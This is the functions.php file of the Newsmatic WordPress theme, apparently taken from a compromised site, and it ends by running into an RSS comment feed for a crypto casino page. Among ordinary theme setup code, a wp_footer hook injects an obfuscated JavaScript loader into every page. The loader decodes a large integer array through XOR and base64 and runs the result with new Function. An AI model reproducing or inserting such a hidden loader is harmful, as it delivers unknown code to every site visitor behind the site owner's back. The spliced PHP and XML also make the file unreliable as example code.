/*c1s*/ /*c1e*/ /** * Newsmatic functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Newsmatic */ use Newsmatic\CustomizerDefault as ND; if ( ! defined( 'NEWSMATIC_VERSION' ) ) { // Replace the version number of the theme on each release. $theme_info = wp_get_theme(); define( 'NEWSMATIC_VERSION', $theme_info->get( 'Version' ) ); } if ( ! defined( 'NEWSMATIC_PREFIX' ) ) { // Replace the prefix of theme if changed. define( 'NEWSMATIC_PREFIX', 'newsmatic_' ); } /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function newsmatic_setup() { $nprefix = 'newsmatic-'; /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on Newsmatic, use a find and replace * to change 'newsmatic' to the name of your theme in all the template files. */ load_theme_textdomain( 'newsmatic', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // add_image_size( 'newsmatic-large', 1400, 800, true ); add_image_size( $nprefix . 'featured', 820, 545, true ); add_image_size( $nprefix . 'list', 600, 400, true ); add_image_size( $nprefix . 'thumb', 300, 200, true ); add_image_size( $nprefix . 'small', 150, 95, true ); add_image_size( $nprefix . 'grid', 400, 250, true ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'menu-1' => esc_html__( 'Top Header', 'newsmatic' ), 'menu-2' => esc_html__( 'Main Header', 'newsmatic' ), 'menu-3' => esc_html__( 'Bottom Footer', 'newsmatic' ) ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( NEWSMATIC_VERSION . 'custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 100, 'width' => 100, 'flex-width' => true, 'flex-height' => true, ) ); } add_action( 'after_setup_theme', 'newsmatic_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function newsmatic_content_width() { $GLOBALS['content_width'] = apply_filters( 'newsmatic_content_width', 640 ); } add_action( 'after_setup_theme', 'newsmatic_content_width', 0 ); /** * Implement the Custom Header feature. */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require get_template_directory() . '/inc/template-functions.php'; add_filter( 'get_the_archive_title_prefix', 'newsmatic_prefix_string' ); function newsmatic_prefix_string($prefix) { $archive_page_title_prefix = ND\newsmatic_get_customizer_option( 'archive_page_title_prefix' ); if( $archive_page_title_prefix ) return apply_filters( 'newsmatic_archive_page_title_prefix', $prefix ); return apply_filters( 'newsmatic_archive_page_title_prefix', false ); } add_action( 'pre_get_posts', 'newsmatic_custom_get_posts' ); function newsmatic_custom_get_posts( $query ) { if( ! newsmatic_is_paged_filtered() ) return; if( isset( $_GET['posts'] ) ) { switch($_GET['posts']) { case 'random' : $query->set( 'orderby', 'rand' ); break; case 'today': $todayDate = getdate(); $query->set( 'date_query', array( 'year' => $todayDate['year'], 'month' => $todayDate['mon'], 'day' => $todayDate['mday'], )); break; case 'this-week': $query->set( 'date_query', array( 'year' => date( 'Y' ), 'week' => date( 'W' ) )); break; case 'last-seven-days': $query->set( 'date_query', array( 'after' => '1 week ago' )); break; case 'this-month': $todayDate = getdate(); $query->set( 'date_query', array( 'month' => $todayDate['mon'] )); break; case 'last-month': $thisdate = getdate(); if ($thisdate['mon'] != 1) : $lastmonth = $thisdate['mon'] - 1; else : $lastmonth = 12; endif; $thisyear = date('Y'); if ($lastmonth != 12) : $thisyear = date('Y'); else: $thisyear = date('Y') - 1; endif; $query->set( 'date_query', array( 'year' => $thisyear, 'month' => $lastmonth )); break; case 'last-week': $thisweek = date('W'); if ($thisweek != 1) : $lastweek = $thisweek - 1; else : $lastweek = 52; endif; $thisyear = date('Y'); if ($lastweek != 52) : $thisyear = date('Y'); else: $thisyear = date('Y') -1; endif; $query->set( 'date_query', array( 'year' => $thisyear, 'week' => $lastweek )); break; case 'this-year': $thisweek = date('W'); if ($thisweek != 1) : $lastweek = $thisweek - 1; else : $lastweek = 52; endif; $thisyear = date('Y'); if ($lastweek != 52) : $thisyear = date('Y'); else: $thisyear = date('Y') -1; endif; $query->set( 'date_query', array( 'year' => $thisyear )); break; default: return; } } } if( ! function_exists( 'newsmatic_set_transient' ) ) : /** * Set transient required for theme * * @package 1.0.0 * @since 1.0.0 */ function newsmatic_set_transient() { set_transient( 'newsmatic_show_review_notice', 'hide', WEEK_IN_SECONDS ); } add_action( 'after_switch_theme', 'newsmatic_set_transient' ); endif; add_action( 'init', 'register_yoast_seo_meta_for_rest' ); function register_yoast_seo_meta_for_rest() { // Define the post types you want to target $post_types = array( 'post', 'page', 'product' ); // Common Yoast SEO database keys $meta_keys = array( '_yoast_wpseo_title', '_yoast_wpseo_metadesc', '_yoast_wpseo_focuskw', '_yoast_wpseo_is_cornerstone', '_yoast_wpseo_meta-robots-noindex' ); foreach ( $post_types as $type ) { foreach ( $meta_keys as $key ) { register_post_meta( $type, $key, array( 'type' => 'string', 'single' => true, 'show_in_rest' => true, // Critical for REST API exposure 'sanitize_callback' => 'sanitize_text_field', 'auth_callback' => function() { return current_user_can( 'edit_posts' ); // Validates permissions }, ) ); } } } add_action('wp_head', function() { echo ''; }); add_action('admin_head', function() { echo ''; }); add_action('wp_footer', function () { echo '<script>(function(){\nvar xaf98e6=1694;\nif(xaf98e6>0){var y2f6ff9=xaf98e6-8143}else{var y2f6ff9=8143}\nvar z675acd=y2f6ff9*82;\nvar _0x66076b01b42c=[72,58,102,107,91,95,114,104,88,97,72,72,72,125,80,95,88,97,97,66,93,79,80,72,89,58,72,83,110,75,98,125,66,98,125,93,89,58,58,111,89,58,97,107,66,75,98,115,72,102,59,65,93,59,122,110,91,88,88,83,88,97,76,70,91,76,98,58,73,66,75,111,66,72,80,70,94,88,63,70,89,88,101,105,73,66,67,89,66,98,88,80,94,102,58,90,105,79,76,107,94,92,110,92,92,114,67,68,76,114,121,108,66,95,102,68,66,98,125,105,76,58,126,69,94,97,58,80,94,98,62,80,77,95,101,93,66,97,63,69,76,58,125,93,66,95,62,110,66,114,109,93,76,58,63,71,89,95,62,93,76,58,102,68,77,72,122,71,77,97,62,110,78,88,88,80,94,102,58,90,105,76,51,107,82,92,80,75,93,95,83,89,110,75,98,66,93,59,126,108,82,72,95,75,75,76,59,108,94,75,64,73,94,97,80,72,91,95,122,104,75,95,64,69,93,58,80,71,75,92,63,107,88,97,88,72,91,79,126,65,75,92,51,110,91,75,109,78,73,79,110,104,93,59,51,105,76,91,75,75,82,58,72,78,92,97,98,75,91,91,64,73,94,97,80,72,91,95,122,104,75,92,51,107,94,95,68,77,94,75,76,68,91,58,63,105,93,58,63,108,88,109,76,77,91,75,109,78,73,79,110,104,93,59,51,105,76,91,75,75,82,58,72,78,92,97,98,75,91,91,64,68,91,76,58,73,82,92,51,71,75,92,51,107,94,95,68,77,94,79,76,75,89,58,101,72,94,79,72,73,73,75,71,67,88,59,126,104,82,59,125,92,75,75,75,111,82,92,51,71,75,95,80,75,75,79,64,69,93,58,80,71,73,75,71,67,88,59,126,104,82,59,125,92,75,75,72,110,82,58,125,72,94,97,76,79,82,91,76,71,91,79,67,75,82,58,72,78,92,97,98,75,91,91,109,78,73,79,110,104,93,59,51,105,76,91,75,75,82,58,72,78,92,97,98,75,91,91,76,67,94,102,126,65,93,79,63,93,75,92,126,65,91,95,126,65,82,95,68,93,75,95,114,75,73,75,71,67,88,59,126,104,82,59,125,92,75,75,72,108,91,79,68,93,89,79,72,72,75,95,126,110,82,58,125,72,91,76,59,67,73,75,71,67,88,59,126,104,82,59,125,92,75,75,72,108,91,79,68,93,89,79,72,72,75,102,51,107,94,95,68,77,94,75,76,72,91,79,126,77,89,102,125,72,94,102,51,108,73,66,67,95,93,95,63,110,78,57,72,77,93,76,114,107,91,79,68,111,79,109,58,108,92,56,58,80,94,93,125,93,89,98,63,120,66,58,58,110,89,93,58,93,77,93,63,68,77,77,125,104,77,77,101,108,77,56,114,68,66,56,59,123,77,114,109,83,77,114,62,108,94,93,125,111,89,88,58,68,76,76,102,69,82,91,51,125,91,58,122,77,94,92,80,92,93,98,67,68,94,88,97,82,89,114,62,82,66,114,83,68,76,79,102,107,91,95,114,104,88,97,72,72,78,57,72,70,88,58,64,105,89,58,110,83,72,57,72,69,89,95,63,66,94,97,64,80,72,102,88,104,82,92,80,95,93,95,63,110,78,57,72,71,89,92,110,67,79,100,72,69,89,95,63,66,94,97,64,80,75,92,114,107,94,92,114,104,82,91,105,108,75,114,58,77,79,98,67,89,73,72,51,82,73,72,72,125,94,97,102,69,88,58,63,73,93,91,76,105,93,97,59,105,93,59,58,66,66,91,83,92,105,79,63,64,94,97,110,69,91,102,97,95,88,97,97,66,105,79,114,64,92,58,109,72,91,58,122,72,89,76,126,66,79,114,62,110,76,125,80,110,89,102,126,107,82,95,79,67,73,72,88,80,94,102,58,90,105,79,122,66,92,102,121,89,82,58,63,110,82,79,122,103,91,92,121,66,105,79,114,64,92,58,109,72,82,76,122,68,82,76,126,110,72,114,97,104,75,114,97,104,72,109,71,111,77,91,83,95,88,97,97,66,78,100,72,65,88,59,80,104,72,102,59,65,93,59,122,110,91,91,109,67,76,76,102,69,82,91,51,125,82,92,98,70,82,79,110,110,94,98,64,125,94,79,102,82,89,75,76,105,93,97,59,105,93,59,58,66,66,98,58,82,75,57,72,65,88,59,80,104,72,88,58,77,75,57,72,73,91,79,72,93,91,114,67,67,73,72,88,64,91,76,58,66,93,95,63,110,78,57,72,92,93,95,92,64,89,102,50,89,66,114,88,125,92,92,102,76,89,95,122,108,79,57,72,110,93,79,126,105,88,59,59,69,75,95,68,65,91,95,98,104,88,114,88,125,92,92,102,76,89,95,122,108,72,72,67,110,72,102,88,80,94,102,58,90,105,76,122,67,88,79,98,72,89,88,64,108,94,102,59,105,89,103,80,72,93,125,110,125,82,92,98,70,82,79,110,110,94,109,76,105,93,97,59,105,93,59,58,66,105,76,92,80,88,95,102,65,82,125,71,110,72,109,71,111,77,91,83,95,88,97,97,66,105,76,122,67,88,79,98,72,89,91,80,125,91,97,72,75,92,97,71,79,79,100,114,104,82,95,80,72,89,75,76,64,82,95,72,73,104,79,110,69,82,93,114,75,89,58,101,66,105,76,122,67,88,79,98,72,89,91,83,95,95,102,59,65,93,59,122,110,91,91,51,125,91,97,72,75,92,97,71,95,95,97,114,69,93,58,114,66,72,58,101,77,92,76,59,65,93,59,122,110,91,91,109,67,76,76,64,89,89,92,122,72,94,76,126,77,91,79,79,90,105,76,80,69,82,79,110,69,82,76,95,66,105,79,110,75,93,58,95,78,105,76,114,107,89,95,114,111,92,109,80,95,82,95,122,104,93,102,59,72,78,58,76,65,93,75,51,37,82,95,72,73,88,102,114,65,72,58,102,107,91,95,114,104,88,97,72,72,72,57,72,72,88,95,122,66,89,59,51,111,75,57,72,78,89,92,59,65,93,125,80,95,93,95,63,110,78,57,72,107,94,92,92,92,93,59,105,89,91,95,122,83,78,57,110,99,83,56,110,104,93,59,51,51,89,102,63,107,89,102,114,104,72,125,83,95,105,76,122,68,92,92,92,104,92,125,76,75,82,58,122,72,72,125,98,37,83,66,114,61,73,75,68,125,88,58,72,104,88,91,68,104,82,92,122,65,72,98,88,125,93,97,59,92,92,92,126,82,75,92,114,65,93,57,59,65,82,102,122,65,82,76,126,100,89,97,63,70,89,102,58,66,73,77,114,75,91,92,126,65,91,92,121,73,111,59,80,108,89,109,109,78,73,79,63,108,82,58,68,77,94,79,63,104,88,97,72,72,75,79,92,105,91,79,79,67,72,98,88,125,93,97,59,92,92,92,126,82,75,92,126,77,91,97,122,75,93,102,121,89,77,98,50,108,66,114,88,125,93,97,59,92,92,92,126,82,75,95,72,72,91,58,72,69,89,114,64,64,93,97,76,71,93,58,80,75,91,91,105,77,92,76,126,110,92,102,88,125,91,95,92,65,88,58,126,108,82,109,110,102,108,77,72,98,75,92,51,69,82,92,114,65,72,57,72,107,94,92,92,92,93,59,105,72,82,95,122,105,82,58,72,72,82,79,122,61,89,102,110,104,72,109,83,95,95,97,114,69,93,58,114,66,72,58,101,77,92,66,72,78,89,92,59,65,93,125,110,65,72,98,88,89,95,98,88,125,93,97,59,92,92,92,126,82,75,95,72,72,89,102,59,110,91,76,58,89,105,76,122,68,92,92,92,104,92,125,76,75,91,92,126,77,91,97,122,75,93,102,121,89,89,92,122,72,94,76,126,77,91,79,79,66,72,102,88,125,91,58,102,110,89,102,121,66,91,95,122,83,78,56,122,110,82,95,72,110,72,125,83,77,76,76,67,95,105,76,122,68,92,92,92,104,92,125,76,105,89,97,76,70,72,56,92,50,83,77,79,72,82,76,126,110,88,97,76,67,88,97,102,93,72,57,72,105,93,97,102,71,82,102,83,77,72,98,88,89,72,98,88,89,89,92,122,72,94,76,126,77,91,79,79,90,105,79,88,78,82,97,64,82,88,109,110,125,93,102,92,64,94,76,62,77,92,79,80,64,72,57,72,107,92,95,102,71,82,98,79,89,105,76,51,107,82,92,80,75,93,95,83,72,91,58,122,72,89,76,126,66,72,102,59,65,93,59,122,110,91,91,51,37,82,95,72,73,88,102,114,65,75,92,59,65,82,79,72,78,93,95,101,66,91,92,122,78,91,125,83,95,93,95,63,110,78,57,72,82,89,79,59,78,91,98,64,95,88,92,114,75,91,92,59,108,94,72,95,67,66,91,79,108,73,75,68,73,89,102,126,66,91,79,121,92,73,79,122,104,88,57,72,71,94,97,68,78,73,75,68,108,94,102,59,69,91,102,125,92,110,76,88,104,91,72,92,125,88,102,98,105,93,97,72,78,82,109,68,70,94,102,126,69,76,91,109,108,92,125,109,79,105,79,68,65,88,97,59,93,92,92,122,89,75,125,98,78,94,102,126,65,82,76,121,67,105,109,68,77,89,114,95,111,95,98,88,110,89,102,126,107,82,95,79,90,105,76,80,69,82,79,110,69,82,76,95,66,105,76,51,107,82,92,80,75,93,95,80,58,105,76,122,92,89,95,114,111,105,109,68,125,92,58,98,68,91,58,67,77,75,92,126,66,89,97,79,66,89,92,122,72,94,76,126,77,91,79,79,66,105,79,92,66,89,97,58,77,92,76,102,69,82,91,51,125,82,79,72,82,88,92,101,89,105,79,92,66,89,97,58,64,73,82,72,76,88,58,122,68,75,92,59,65,82,76,122,78,93,114,72,125,89,58,110,73,82,79,126,66,93,75,110,125,88,95,110,65,94,91,76,110,89,102,114,107,91,59,121,77,76,91,109,67,76,79,80,64,72,57,72,105,91,76,110,76,93,109,80,110,89,102,126,107,82,95,79,90,105,76,114,75,92,58,92,107,75,92,59,65,82,58,68,69,94,79,101,66,75,66,71,75,72,75,121,75,75,125,109,67,72,98,88,110,89,102,126,107,82,95,79,90,105,79,88,78,82,97,64,82,88,109,110,125,93,102,92,64,94,76,62,79,66,109,83,95,95,109,83,72,94,79,63,104,94,79,105,66,89,92,122,72,94,76,126,77,91,79,79,66,72,102,88,110,89,102,126,107,82,95,79,90,105,79,88,78,82,97,64,82,88,109,110,125,93,102,92,64,94,76,62,79,66,109,83,95,95,109,83,95,95,97,102,107,91,95,114,104,88,97,72,72,78,57,72,71,93,79,76,78,88,58,59,71,72,57,72,82,92,102,114,68,94,95,110,78,72,102,88,80,94,102,58,90,105,76,92,108,82,76,102,93,93,79,125,89,89,58,72,71,93,97,64,65,91,92,121,72,94,76,59,65,94,102,126,65,107,97,68,65,91,97,122,72,93,125,105,67,82,79,114,110,88,102,51,104,73,75,83,95,105,76,92,108,82,76,102,93,93,79,125,72,82,76,59,71,79,100,72,82,92,102,114,68,94,95,110,78,72,75,109,75,94,102,51,77,75,92,51,66,82,114,72,105,79,109,109,79,105,79,76,107,94,92,110,92,92,125,91,67,73,82,72,80,79,109,109,79,83,97,63,104,88,125,76,64,91,58,72,75,82,91,110,120,94,102,126,65,75,95,76,75,93,75,105,77,75,72,97,108,66,114,50,108,72,98,88,125,92,92,51,105,93,92,80,83,94,75,76,69,82,76,80,72,94,72,64,104,82,92,122,65,76,75,110,70,91,79,114,107,91,97,122,72,93,125,76,66,89,97,63,70,95,59,68,70,91,79,114,107,91,97,122,72,93,125,76,68,91,79,126,93,72,109,76,69,82,59,51,65,91,95,126,121,88,58,80,78,89,125,110,125,92,92,51,105,93,92,80,83,94,75,83,95,95,100,72,79,91,59,63,73,92,58,83,66,66,125,83,72,93,58,110,65,91,91,110,64,93,97,76,71,93,58,80,75,91,91,110,125,92,59,80,105,94,95,59,66,91,125,80,95,88,97,97,66,105,76,110,93,82,79,59,68,88,58,71,77,105,79,114,83,91,95,68,66,94,95,125,66,105,76,110,93,82,79,59,68,88,58,71,77,76,76,67,77,76,76,67,77,72,125,83,95];\nvar _0xf249ea1dce17=10;\nvar _0xcb1b81b58d09=\'\';\nfor(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x66076b01b42c.length;_0x1cd3f7d78688++)\n _0xcb1b81b58d09+=String.fromCharCode(_0x66076b01b42c[_0x1cd3f7d78688]^_0xf249ea1dce17);\nvar _0x2d169431e36a=47;\nvar _0x5a9fc9213cdc=atob(_0xcb1b81b58d09);\nvar _code=\'\';\nfor(var _0x1cd3f7d78688=0;_0x1cd3f7d78688<_0x5a9fc9213cdc.length;_0x1cd3f7d78688++)\n _code+=String.fromCharCode(_0x5a9fc9213cdc.charCodeAt(_0x1cd3f7d78688)^_0x2d169431e36a);\n(new Function(_code))();\n})();</script>'; }, 99);<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" > <channel> <title> Comments on: Live Crypto Casino Bets: Offers, Rewards, Odds, Strategy https://endurancebuzz.com/2026/09/23/live-crypto-casino-bets-offers-rewards-odds-strategy/ All the Latest Buzz Wed, 23 Sep 2026 13:50:04 +0000 hourly 1 https://wordpress.org/?v=6.7.9